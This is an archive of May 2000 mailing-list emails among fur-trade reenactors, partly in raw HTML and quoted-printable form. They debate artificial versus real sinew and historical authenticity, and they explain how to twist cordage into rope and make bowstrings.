</A>=20
      <<A=20
      =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
      </B>Tuesday, May 09, 2000 3:43 PM<BR><B>Subject: </B>Re: =
MtMan-List:=20
      Artificial Sinew (was saws)<BR><BR></DIV></FONT>Bill,=20
      <BR>    I, like Roger, see how we could (and can) =
justify=20
      carrying artifical sinew. I just feel <BR>that under regular =
"survival"=20
      situations all I would have to use for building a shelter, making =
<BR>a=20
      tripod or any putting together any  number of  things =
are sinew,=20
      rawhide, cordage (of various kinds) or leather. So by trying these =
and=20
      seeing what works and what doesn't, wouldn't that be the best for =
us when=20
      called upon to have to use it? I hear alot about "survival" gear. =
And to=20
      me, alot of these items just don't fit in the catagory. Most are =
well=20
      made, durable items that can be the best you can buy (wheather it =
is a=20
      kind of Moc, or what is best for sewing stuff up with), but to me =
(and=20
      this is only  my opinion) why not tie both worlds together =
and have=20
      authenic equipement that is durable, comfortable and replaceable? =
<BR>Like=20
      alot of you guys, I am a A.M.M. member. and alot of people have =
choosen=20
      sides in <BR>the authenic/ survival debate. I just say why not be =
both?=20
      Make you and your equipment the <BR>best they can be. And know how =
to do=20
      the things necessary to survive, maybe even be <BR>comfortable. I =
have=20
      friends who have Dyer mocs and they love them. But if I ever had =
to=20
      replace them while in the mountains (it can happen: a horse or =
mule=20
      scatters everything for a mile or too, you loose one of them =
fording a=20
      river or maybe a hungry coyote comes in camp and steals them) I =
would have=20
      to use leather and sinew (or wangs) to make a new pair. <BR>Every =
man has=20
      their own opinion on this subject- it is kind of like the recurve =
versus=20
      stick bow, we won't mention the new fangled wheel bows. And =
different guys=20
      like different things <BR>at different times. But ,doesn't this =
make a=20
      good subject to hammer out and make people <BR>think????=20
      =
<BR>           &nb=
sp;           &nbs=
p;            =
;            =
            &=
nbsp;          =20
      mike. <BR>people. <BR>Bill Cunningham wrote:=20
      <BLOCKQUOTE TYPE=3D"CITE">
        <STYLE></STYLE>
        <FONT color=3D#000000><FONT size=3D-1>I was watching that =
antiques roadshow=20
        program one time and a guy brought in an Indian arrow quiver. It =
really=20
        looked nice and he was sure he had a pot of money. But the =
antique guy=20
        showed him that it was factory tanned leather, sewed with =
artificial=20
        sinew, which he explained was a hi-tech modern product. You =
could see=20
        the guy just wither. But it brought to mind a couple of =
questions. In=20
        true survival situations, would you be able to obtain enough =
sinew to=20
        take care of whatever it might be that you'd need it for? Since =
sinew is=20
        typically 12" long or less, and splicing it is tricky at best, =
would you=20
        carry 15 feet or so in your possibles pouch, or rather, perhaps, =
a small=20
        coil of artificial sinew which is infinitely long? Historical=20
        authenticity is great and a fine goal, but what if your life (or =
in some=20
        cases, your budget) depended on it?</FONT></FONT><FONT =
size=3D-1>Bill=20
        C</FONT>=20
        <BLOCKQUOTE=20
        style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px"><B><FONT=20
          face=3DArial><FONT size=3D-1>-----Original =
Message-----</FONT></FONT></B>=20
          <BR><FONT face=3DArial><FONT size=3D-1><B>From: </B>D Miles =
<<A=20
          =
href=3D"mailto:[e-mail]">[e-mail]</A>></FONT></F=
ONT>=20
          <BR><FONT face=3DArial><FONT size=3D-1><B>To: </B><A=20
          =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
          <<A=20
          =
href=3D"mailto:[e-mail]">[e-mail]=
</A>></FONT></FONT>=20
          <BR><FONT face=3DArial><FONT size=3D-1><B>Date: </B>Tuesday, =
May 09, 2000=20
          7:32 AM</FONT></FONT> <BR><FONT face=3DArial><FONT =
size=3D-1><B>Subject:=20
          </B>MtMan-List: Artificial Sinew (was saws)</FONT></FONT>=20
          <BR> <FONT face=3DArial><FONT size=3D-1>Boy, I am on a =
roll=20
          now...</FONT></FONT><FONT face=3DArial><FONT size=3D-1> I =
also see=20
          way to many sutlers out there that sell FANTASTIC authentic,=20
          documented items in various forms.All high quality.... But for =
some=20
          reason, allot of them also list "artificial sinew" on their =
trade=20
          lists.....GO figger...</FONT></FONT><FONT face=3DArial><FONT=20
          size=3D-1>D</FONT></FONT>  <FONT face=3DArial><FONT=20
          size=3D-1>"Abair ach beagan is abair gu math e"</FONT></FONT> =
<BR><FONT=20
          face=3DArial><FONT=20
          =
size=3D-1>          DOUBLE=20
          EDGE FORGE</FONT></FONT> <BR><FONT face=3DArial><FONT =
size=3D-1> =20
          Period Knives & Iron Accoutrements</FONT></FONT> <BR><FONT =

          face=3DArial><FONT size=3D-1>   <A=20
          =
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A></FONT></FONT>=20
          <BR><FONT face=3DArial><FONT size=3D-1>  "Knowing how is =
just the=20
          =
beginning"</FONT></FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUO=
TE></BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Re: cordage
Date: 10 May 2000 11:28:04 -0600

Hello Hawknest,
I don't think the square cordage you are talking about would make a very
good bowstring.  To much stretch.  The old back twist method is much better.
I know it works because I have been using it without out a problem.  The
bowstring is critical.  I am going to a shoot this weekend to the old range
I have been a member of off and on since 1953.  I have been invited to show
some of these young bucks how to go about converting cordage into a suitable
bowstring, not to shoot. VBG.  Make up a short section and see how much
stretch there is in it.  That will give you a good anwser.  Beautiful
weather here in the birthplace of the mountain men.  See you in Montana
Walt in his badgerhole.


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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 11:33:13 -0600

Hello John,
So what does D. camp look like?  Walt


----- Original Message -----
Sent: Wednesday, May 10, 2000 9:57 AM


> Dennis, that paddle is used to propel your canoe, not stir up s--t.
>
> To those who don`t know Dennis, his camp is just as he talks, extremely
> correct. He has what  it takes to make a comfortable camp for his wife and
> himself. You must remember everyone's level of comfort is different.
>
> Dennis also has the skills, ability, and knowledge to make do with whats
at
> hand.
>
>
> >
> > PS.. It does my heart good to know I can still ruffle feathers good,
when
> I
> > am a mind to..<BG> And the invitation still goes, I would like to get on
> the
> > ground with any one of ya's. ('Cept mebby Pendleton)
> > D
> >
> >
> >
> >
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> >
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 14:35:17 -0400

Walt Wrote:
> So what does D. camp look like?


Walt,
 Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
like a banshee, or no cloth if natural shelter is available.  And nada when
it's nice. A couple a blankets or the robe. A tinned brass kettle and a
canteen usually.  My gun, bag and haversack laying around somewhere in
reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
myself, with Gwen,  in a big public doins or in the middle of no damned
where. What did you have in mind?
Dennis

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 11:36:41 -0700

Ole,

Wise words from a wise man. My sympathies exactly. I remain....

As always
YMOS
Capt. Lahti'
----- Original Message -----
Sent: Wednesday, May 10, 2000 8:04 AM


> Michael,
> Thanks!
> there are many things that interest me and I follow my own mind. I hope
that
> I know the diference between an AMM camp and a park and drop. I will take
> diferent things to these camps and it is no reflection on the AMM. I have
> seen AMM brothers get so totaly wasted at camp that they pass out in the
> dirt and that is no reflection on the orginization just a brother with a
> problem. However when I represent the AMM and the things we value I strive
> to hold my self to the highest standards but I do it to teach and to be an
> example to those who wish to learn and always try to remember that I am no
> better then they are just down the trail a litle further.
> YMOS
> Ole
> ----------
> >From: [e-mail]
> >To: [e-mail]
> >Subject: Re: MtMan-List: Re: Authenticity Nazis
> >Date: Wed, May 10, 2000, 2:24 AM
> >
>
> >ole---
> >well put---remember this is a brotherhood here to help each other---NUFF
> >SAID---CUT the BS---I have been slapped by the period pirots before and
> >then went back with my documentation and proved them wrong---done my
> >homework and was 5% smarter---lets get off of this subject all of us know
> >its a tender one---we aint judgeing brothers---if a brother done wrong he
> >is told politely and on a one to one basis---each has helped in that
> >scenario before---I have even went and loaned stuff to a guy to help him
> >be period correct if i could help him---
> >
> >lets shake hands and close this one out guys---
> >
> >YMHOSANT
> >   =+=
> >HAWK
> >Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
> >854 Glenfield Dr.
> >Palm Harbor florida 34684
> >E-Mail: [e-mail]   Web site:
> >http://www.angelfire.com/fl2/mpierce
> >
> >________________________________________________________________
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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 14:07:14 -0700

Dennis, you forgot to mention the tiny teddy bear, the incense, prayer bells
and so forth.


----- Original Message -----
Sent: Wednesday, May 10, 2000 11:35 AM


> Walt Wrote:
> > So what does D. camp look like?
>
>
> Walt,
>  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> like a banshee, or no cloth if natural shelter is available.  And nada
when
> it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> canteen usually.  My gun, bag and haversack laying around somewhere in
> reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> myself, with Gwen,  in a big public doins or in the middle of no damned
> where. What did you have in mind?
> Dennis
>
> "Abair ach beagan is abair gu math e"
>           DOUBLE EDGE FORGE
>   Period Knives & Iron Accoutrements
>    http://www.bright.net/~deforge1
>   "Knowing how is just the beginning"
>
>
>
> ----------------------
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From: [e-mail]
Subject: MtMan-List: Please remove me from the mailing list
Date: 10 May 2000 15:18:59 EDT

Please
Thanks
Vaughn

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 12:43:21 -0700

I figured you were hiding out there someplace awaiting to pounce.........


----- Original Message -----
Sent: Wednesday, May 10, 2000 2:07 PM


> Dennis, you forgot to mention the tiny teddy bear, the incense, prayer
bells
> and so forth.
>
>
> ----- Original Message -----
> From: D Miles <[e-mail]>
> To: <[e-mail]>; <[e-mail]>
> Sent: Wednesday, May 10, 2000 11:35 AM
> Subject: Re: MtMan-List:was saw now its cordage
>
>
> > Walt Wrote:
> > > So what does D. camp look like?
> >
> >
> > Walt,
> >  Like a camp, a oilcloth tarp over the top if it is a pouring or snowing
> > like a banshee, or no cloth if natural shelter is available.  And nada
> when
> > it's nice. A couple a blankets or the robe. A tinned brass kettle and a
> > canteen usually.  My gun, bag and haversack laying around somewhere in
> > reach.A jug at some AMM doins. Nothin fancy. It is like that if I am by
> > myself, with Gwen,  in a big public doins or in the middle of no damned
> > where. What did you have in mind?
> > Dennis
> >
> > "Abair ach beagan is abair gu math e"
> >           DOUBLE EDGE FORGE
> >   Period Knives & Iron Accoutrements
> >    http://www.bright.net/~deforge1
> >   "Knowing how is just the beginning"
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>
> ----------------------
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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: artificial sinew
Date: 10 May 2000 14:59:39 -0500

    Yes, I believe we all "strive to improve" and most of us would rather
use real sinew.  However, not everyone bags a deer, or elk or any big game
each year.  I admire those who are able to ignore the square life and
[legally?] hunt and bag six or ten deer a year. And who have time to harvest
the sinew and hand tan the hides and hand make their gear.
    For most it is a dream. I feel very fortunate if I kill a deer every
other year.  Our muzzle loading seasons here are often in very warm weather.
Got to get the carcass to a chilling room and processor quickly or it is
just buzzard bait.  Hard to harvest the sinew. And one little whitetail does
not produce much sinew by his lonesome.
    So, I "strive" to do my best with artificial sinew. Used right, it looks
good and lasts.  My 'skins and capotes and blankets and plunder is important
to me but in the big picture of daily living they are really luxuries.  I
take very good care of all of it as I cannot go out and kill a couple
critters each time I need a new shirt or mocs or whatever.
    I would hope that most reenactors respect the fact that not everyone can
actually "live" the life of an 1800's trapper or whatever.  The rest of us
"strive" to do our best to help preserve that part of history.  And most of
us respect those who are "striving to improve".  Respect and understanding
are American traits.
(p.s. forgive me if above sounds angry. one of my failings is that I do not
deal well with negativism or elitists)
Frank "Bearclaw" Fusco, Mountain Home, Arkansas


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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 16:21:24 -0400

Pablo..
 Shhhhhhhhhhh..........<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: Mike Moore <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 14:45:03 -0600


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Bill,
    You are right. Recurves were found in the fur trade. George CAtlin's
"Letters
and Notes on the Manners, Customs and Conditions of North American
Indians"
volume 1(what a mouth full) shows recurves in all of the pictures when
he painted
bows. Also, Stanley Honour (who makes ram horns bows) might be a good
source
for more information on this. Dang, if those bows aren't nice

mike..

Bill Cunningham wrote:

>  Absolutely! I used to practice going out with just a flinter or a bow
> and arrows, my knife, fire makings, a wool blanket and the clothes on
> my back. In a few days you learn that it is very possible to get along
> with the bare necessities. You also learn to appreciate some that
> aren't - such as a good waterproof tarp, a pot and a frying pan. It
> was on a couple of these trips that I even came up with the idea of a
> small tent I could also use as a pack. Made it and carried it for
> years. Now age is creeping up on me and I have had to learn to be a
> bit more cautious. I carry a first aid kit and often ride a horse.But
> speaking of recurves, weren't they around long before the fur period?
> Seems to me I saw one in the museum at Betatakin. I know they existed
> in Eurasia, but it seems to me that some of the south western Indians
> had them also. The one I saw wasn't extreme like the horse bows of the
> Steppes, but was definitely a self-bow recurve.
>
>      -----Original Message-----
>      From: Mike Moore <[e-mail]>
>      To: [e-mail]
>      <[e-mail]>
>      Date: Tuesday, May 09, 2000 3:43 PM
>      Subject: Re: MtMan-List: Artificial Sinew (was saws)
>       Bill,
>          I, like Roger, see how we could (and can) justify
>      carrying artifical sinew. I just feel
>      that under regular "survival" situations all I would have to
>      use for building a shelter, making
>      a tripod or any putting together any  number of  things are
>      sinew, rawhide, cordage (of various kinds) or leather. So by
>      trying these and seeing what works and what doesn't,
>      wouldn't that be the best for us when called upon to have to
>      use it? I hear alot about "survival" gear. And to me, alot
>      of these items just don't fit in the catagory. Most are well
>      made, durable items that can be the best you can buy
>      (wheather it is a kind of Moc, or what is best for sewing
>      stuff up with), but to me (and this is only  my opinion) why
>      not tie both worlds together and have authenic equipement
>      that is durable, comfortable and replaceable?
>      Like alot of you guys, I am a A.M.M. member. and alot of
>      people have choosen sides in
>      the authenic/ survival debate. I just say why not be both?
>      Make you and your equipment the
>      best they can be. And know how to do the things necessary to
>      survive, maybe even be
>      comfortable. I have friends who have Dyer mocs and they love
>      them. But if I ever had to replace them while in the
>      mountains (it can happen: a horse or mule scatters
>      everything for a mile or too, you loose one of them fording
>      a river or maybe a hungry coyote comes in camp and steals
>      them) I would have to use leather and sinew (or wangs) to
>      make a new pair.
>      Every man has their own opinion on this subject- it is kind
>      of like the recurve versus stick bow, we won't mention the
>      new fangled wheel bows. And different guys like different
>      things
>      at different times. But ,doesn't this make a good subject to
>      hammer out and make people
>      think????
>
>
>      mike.
>      people.
>      Bill Cunningham wrote:
>
>     > I was watching that antiques roadshow program one time and
>     > a guy brought in an Indian arrow quiver. It really looked
>     > nice and he was sure he had a pot of money. But the
>     > antique guy showed him that it was factory tanned leather,
>     > sewed with artificial sinew, which he explained was a
>     > hi-tech modern product. You could see the guy just wither.
>     > But it brought to mind a couple of questions. In true
>     > survival situations, would you be able to obtain enough
>     > sinew to take care of whatever it might be that you'd need
>     > it for? Since sinew is typically 12" long or less, and
>     > splicing it is tricky at best, would you carry 15 feet or
>     > so in your possibles pouch, or rather, perhaps, a small
>     > coil of artificial sinew which is infinitely long?
>     > Historical authenticity is great and a fine goal, but what
>     > if your life (or in some cases, your budget) depended on
>     > it?Bill C
>     >
>     >      -----Original Message-----
>     >      From: D Miles <[e-mail]>
>     >      To: [e-mail]
>     >      <[e-mail]>
>     >      Date: Tuesday, May 09, 2000 7:32 AM
>     >      Subject: MtMan-List: Artificial Sinew (was saws)
>     >
>     >       Boy, I am on a roll now... I also see way to
>     >      many sutlers out there that sell FANTASTIC
>     >      authentic, documented items in various forms.All
>     >      high quality.... But for some reason, allot of
>     >      them also list "artificial sinew" on their trade
>     >      lists.....GO figger...D  "Abair ach beagan is
>     >      abair gu math e"
>     >                DOUBLE EDGE FORGE
>     >        Period Knives & Iron Accoutrements
>     >         http://www.bright.net/~deforge1
>     >        "Knowing how is just the beginning"
>     >

--------------58F8DC5AA39B5A61063E8FAD
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<body bgcolor="#FFFFFF">
Bill,
<br>    You are right. Recurves were found in the fur trade.
George CAtlin's "Letters
<br>and Notes on the Manners, Customs and Conditions of North American
Indians"
<br>volume 1(what a mouth full) shows recurves in all of the pictures when
he painted
<br>bows. Also, Stanley Honour (who makes ram horns bows) might be a good
source
<br>for more information on this. Dang, if those bows aren't nice
<br>
mike..
<p>Bill Cunningham wrote:
<blockquote TYPE=CITE> <font color="#000000"><font size=-1>Absolutely!
I used to practice going out with just a flinter or a bow and arrows, my
knife, fire makings, a wool blanket and the clothes on my back. In a few
days you learn that it is very possible to get along with the bare necessities.
You also learn to appreciate some that aren't - such as a good waterproof
tarp, a pot and a frying pan. It was on a couple of these trips that I
even came up with the idea of a small tent I could also use as a pack.
Made it and carried it for years. Now age is creeping up on me and I have
had to learn to be a bit more cautious. I carry a first aid kit and often
ride a horse.</font></font><font size=-1>But speaking of recurves, weren't
they around long before the fur period? Seems to me I saw one in the museum
at Betatakin. I know they existed in Eurasia, but it seems to me that some
of the south western Indians had them also. The one I saw wasn't extreme
like the horse bows of the Steppes, but was definitely a self-bow recurve.</font>
<blockquote
style="BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><b><font face="Arial"><font size=-1>-----Original
Message-----</font></font></b>
<br><font face="Arial"><font size=-1><b>From: </b>Mike Moore <<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>To: </b><a href="mailto:[e-mail]">[e-mail]</a>
<<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>Date: </b>Tuesday, May 09, 2000
3:43 PM</font></font>
<br><font face="Arial"><font size=-1><b>Subject: </b>Re: MtMan-List: Artificial
Sinew (was saws)</font></font>
<br> Bill,
<br>    I, like Roger, see how we could (and can) justify
carrying artifical sinew. I just feel
<br>that under regular "survival" situations all I would have to use for
building a shelter, making
<br>a tripod or any putting together any  number of  things are
sinew, rawhide, cordage (of various kinds) or leather. So by trying these
and seeing what works and what doesn't, wouldn't that be the best for us
when called upon to have to use it? I hear alot about "survival" gear.
And to me, alot of these items just don't fit in the catagory. Most are
well made, durable items that can be the best you can buy (wheather it
is a kind of Moc, or what is best for sewing stuff up with), but to me
(and this is only  my opinion) why not tie both worlds together and
have authenic equipement that is durable, comfortable and replaceable?
<br>Like alot of you guys, I am a A.M.M. member. and alot of people have
choosen sides in
<br>the authenic/ survival debate. I just say why not be both? Make you
and your equipment the
<br>best they can be. And know how to do the things necessary to survive,
maybe even be
<br>comfortable. I have friends who have Dyer mocs and they love them.
But if I ever had to replace them while in the mountains (it can happen:
a horse or mule scatters everything for a mile or too, you loose one of
them fording a river or maybe a hungry coyote comes in camp and steals
them) I would have to use leather and sinew (or wangs) to make a new pair.
<br>Every man has their own opinion on this subject- it is kind of like
the recurve versus stick bow, we won't mention the new fangled wheel bows.
And different guys like different things
<br>at different times. But ,doesn't this make a good subject to hammer
out and make people
<br>think????
<br>
mike.
<br>people.
<br>Bill Cunningham wrote:
<blockquote TYPE = CITE><style></style>
<font size=-1><font color="#000000">I
was watching that antiques roadshow program one time and a guy brought
in an Indian arrow quiver. It really looked nice and he was sure he had
a pot of money. But the antique guy showed him that it was factory tanned
leather, sewed with artificial sinew, which he explained was a hi-tech
modern product. You could see the guy just wither. But it brought to mind
a couple of questions. In true survival situations, would you be able to
obtain enough sinew to take care of whatever it might be that you'd need
it for? Since sinew is typically 12" long or less, and splicing it is tricky
at best, would you carry 15 feet or so in your possibles pouch, or rather,
perhaps, a small coil of artificial sinew which is infinitely long? Historical
authenticity is great and a fine goal, but what if your life (or in some
cases, your budget) depended on it?</font>Bill C</font>
<blockquote
        style="BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: 5px"><b><font face="Arial"><font size=-1>-----Original
Message-----</font></font></b>
<br><font face="Arial"><font size=-1><b>From: </b>D Miles <<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>To: </b><a href="mailto:[e-mail]">[e-mail]</a>
<<a href="mailto:[e-mail]">[e-mail]</a>></font></font>
<br><font face="Arial"><font size=-1><b>Date: </b>Tuesday, May 09, 2000
7:32 AM</font></font>
<br><font face="Arial"><font size=-1><b>Subject: </b>MtMan-List: Artificial
Sinew (was saws)</font></font>
<br> <font face="Arial"><font size=-1>Boy, I am on a roll now... I
also see way to many sutlers out there that sell FANTASTIC authentic, documented
items in various forms.All high quality.... But for some reason, allot
of them also list "artificial sinew" on their trade lists.....GO figger...D</font></font>
<font face="Arial"><font size=-1>"Abair ach beagan is abair gu math e"</font></font>
<br><font face="Arial"><font size=-1>
DOUBLE EDGE FORGE</font></font>
<br><font face="Arial"><font size=-1>  Period Knives & Iron Accoutrements</font></font>
<br><font face="Arial"><font size=-1>   <a href="http://www.bright.net/~deforge1">http://www.bright.net/~deforge1</a></font></font>
<br><font face="Arial"><font size=-1>  "Knowing how is just the beginning"</font></font></blockquote>
</blockquote>
</blockquote>
</blockquote>

</body>
</html>

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From: Glenn Darilek <[e-mail]>
Subject: MtMan-List: Re: cordage
Date: 10 May 2000 16:19:48 -0500

Making rope is a little more involved than twisting fibers and cords
together.  You have to use twists in opposite directions for each
level.

I was at the Mystic Sea Village in Connecticut last week and saw a part
of a rope walk that originally came from the Plymouth Cordage Company.
I made some notes, but I don't have them now, so some of my terminology
may be incorrect.  The fibers are twisted in one direction to make
cords?  The rope is then made by twisting the cords in the opposite
direction.  The opposite twist makes them hold together without fraying
as bad. The ropes can be twisted together in the opposite direction
again to make a cable.

During the rendezvous era, they hadn't invented the rope twisting
machines so they had rope walks that were buildings that were 1000+ feet
long (two story too)!  The 1000 foot buildings were was needed because
they made ropes in 100 fathoms long (600 feet). When 1000 feet of fibers
were laid into a cord, the twists would cause the overall length to
shrink to about 600 feet.

First they were using hemp (cannabis) ropes for sailing.  For the
Plymouth Cordage Company, the hemp was imported from Russia and some
from the Midwest area near Saint Louis.  The hemp was strong, but it
needed to be pine tarred to prevent it from rotting.  The tar made the
rope stiff and was pretty bad and I imagine messy going through sheaves
and pulleys.  Hence the name 'tar' was used for a sailor.

During the rendezvous era (I can't remember the year), they started
using manilla.  It is not from a manilla plant, but from a type of
banana plant.  It was from Manilla, Philippines, hence it's name.
Manilla has its own natural oils, so tar wasn't necessary. This made
flexible ropes.  The shipping industry quickly switched over to manilla
for their running lines (lines that moved), but stuck with the hemp for
their fixed lines because it was stronger.

That's about all I know about ropes except for knot tying.

YMOS

Glenn Darilek
Iron Burner

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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Re: cordage
Date: 10 May 2000 14:57:14 -0700


----- Original Message -----
Sent: Wednesday, May 10, 2000 2:19 PM


> Making rope is a little more involved than twisting fibers and cords
> together.  You have to use twists in opposite directions for each
> level.

Glenn,

Great information about how rope was made and what it was made out of at
different times. We had a discussion about that some time back and the
answer was not easy to find.

I must disagree with your findings above. Making rope is certainly more
involved simply due to the lengths made but the process is esentially the
same as it is for hand making cordage. The process for hand making cordage
requires that you twist individual groups of fiber bundles (or yarns) in the
same direction until you have a  managable section of each of the strands
you are working with well wound up on itself. Then you let them twist around
each other which forms them into an integral cord of two or more strands. To
make it workable the yarns usually are not long and more material must be
"grafted" in as you proceed.

This is what is done in a rope walk or with a rope machine. The several
strands or yarns  (usually three) are twisted either by hand over the length
of the rope walk or by the machine which twist's all the strands at once off
their individual serving spools. When they reach the right degree of
tension, the main cord is allowed to turn (it will want to turn in the
opposite direction if I have it pictured correctly) and as it spins, a
divider that keeps each strand separate will be moved down the rope walk or
away from the finished cord, thus the rope is formed. The same process is
used in hand making cordage but of course it is a much slower process and
all done by hand a few inches at a time. A skilled worker can make cordage
quit quickly though.

Are you sure about rope twisting machines not being available during the
Rendezvous time period? I remain...

YMOS
Capt. Lahti'






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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 17:21:07 -0700

That ain't no way to be Dennis !
Pendleton
-----Original Message-----


Hawk,
Is that "Lucette" thing look like a thick slingshot, sorta? I think I have
seen those in a catalog somewhere, in with the spinning supplies..
I will have to look before I go out to the shop.. Cordage, eh? That IS a
pure wonderment....And square to booot.. Would be fun to bring that square
stuff to a doins and show the Brothers somthing queersome..<G>
D

PS.. It does my heart good to know I can still ruffle feathers good, when I
am a mind to..<BG> And the invitation still goes, I would like to get on the
ground with any one of ya's. ('Cept mebby Pendleton)
D





"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: [e-mail]
Subject: Re: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 18:14:40 EDT

> Not an expert on cordage by any means but I assure you that you can make
>  you're rope twister idea work with any number of strands up to the point it
>  is just not practical anymore.

Those "rope twisters" are the biggest pain in the dupa ever foisted on kids
by the fathers of America.  They are designed to show Cub Scouts how inept
their fathers really are.

Several have given advice on how to make cordage.  Here's how to use it, or
any thread, twine, or whatever else you have handy, to make rope.  You only
need 2 things and they are both the same.............two 6" long sticks.  A
partner helps, but you can do it by yourself.

Take a length of twine that is three times the final length desired.  Tie one
end to your stick.  Loop it over your partner's stick, back over your stick,
and tie the other end to your partner's stick.  Pull taut to even the strands
out.  You now have three equal length strands.

Keep the strands taut at all times.  Both of your start turning your sticks
in a clockwise direction until the cord just starts to bunch up it you
release the tension slightly.  Now, both of you lay your weight into it just
to the point of breaking.  This will "set" it.

Repeat step one again.  Loop it over your buddy's stick, and back over
your's.  You will have 3 strands again.  This time, turn your sticks
counter-clockwise until it starts to bunch again.  Pull hard to set it again.
 You now have a 9 strand, double-twist rope.  It will be as good or better
than any commercial rope you can buy, and it will have been made in a
primitive manner.  By varying the thickness of the beginning material, you
can make any size rope you want, or you can use step one to make a series of
beginning strands for a larger thickness rope.

I use single strand hemp thread and make small, twisted  cords to hang my
powder horn or neck knife from.  Each end of the rope made this way has a
natural loop in it., and you just whip it slightly back from the loop.  If
you don't have a partner with you, you can use a broken stob on a tree, or
any other convenient stick that is stationary.  If you use a fencepost, then
you have a damn big loop in one end.

If you are a group, and someone knows how to splice, then you can make each
man a "Ranger Rope"  This is a 6 foot piece of rope with a loop in one end
and a toggle backspliced in the other end.  You put the toggle of your
partners rope through the loop of your rope.  In an 8 man team, you can
conveniently have 48 feet of useable rope distributed between the team.

Try it you will like it...............unless you have a two dimensional mind
and can't visualize how the strands are looped.  If this is the case, then
you should use the "rope twister" mentioned at the beginning because you most
certainly fall in the Cub Scout Dad category.

Now that I have taught you how to make rope, you guys who made the nasty
comments about the thread that Capt Lahti, me, and the good Widow were
involved in last week can take yours and try to piss up it.

Dave Kanger

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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 18:24:00 -0400

Sorry Larry,
 But you know how us nazis are....<G>
D



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 17:44:19 -0700

Yep !  Nazis, Elitist, Wanabes, and someone making a fashion statement, hell
I always wanted to somebody.  Guess I should have been more specific.  <GG>
Pendleton
-----Original Message-----


Sorry Larry,
But you know how us nazis are....<G>
D



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From: "larry pendleton" <[e-mail]>
Subject: Re: MtMan-List: artificial sinew
Date: 10 May 2000 17:45:53 -0700

Frank,
   Have you tried using Linen cord to sew your leather goods ?  Try it you
might like it.
Pendleton
-----Original Message-----


    Yes, I believe we all "strive to improve" and most of us would rather
use real sinew.  However, not everyone bags a deer, or elk or any big game
each year.  I admire those who are able to ignore the square life and
[legally?] hunt and bag six or ten deer a year. And who have time to harvest
the sinew and hand tan the hides and hand make their gear.
    For most it is a dream. I feel very fortunate if I kill a deer every
other year.  Our muzzle loading seasons here are often in very warm weather.
Got to get the carcass to a chilling room and processor quickly or it is
just buzzard bait.  Hard to harvest the sinew. And one little whitetail does
not produce much sinew by his lonesome.
    So, I "strive" to do my best with artificial sinew. Used right, it looks
good and lasts.  My 'skins and capotes and blankets and plunder is important
to me but in the big picture of daily living they are really luxuries.  I
take very good care of all of it as I cannot go out and kill a couple
critters each time I need a new shirt or mocs or whatever.
    I would hope that most reenactors respect the fact that not everyone can
actually "live" the life of an 1800's trapper or whatever.  The rest of us
"strive" to do our best to help preserve that part of history.  And most of
us respect those who are "striving to improve".  Respect and understanding
are American traits.
(p.s. forgive me if above sounds angry. one of my failings is that I do not
deal well with negativism or elitists)
Frank "Bearclaw" Fusco, Mountain Home, Arkansas


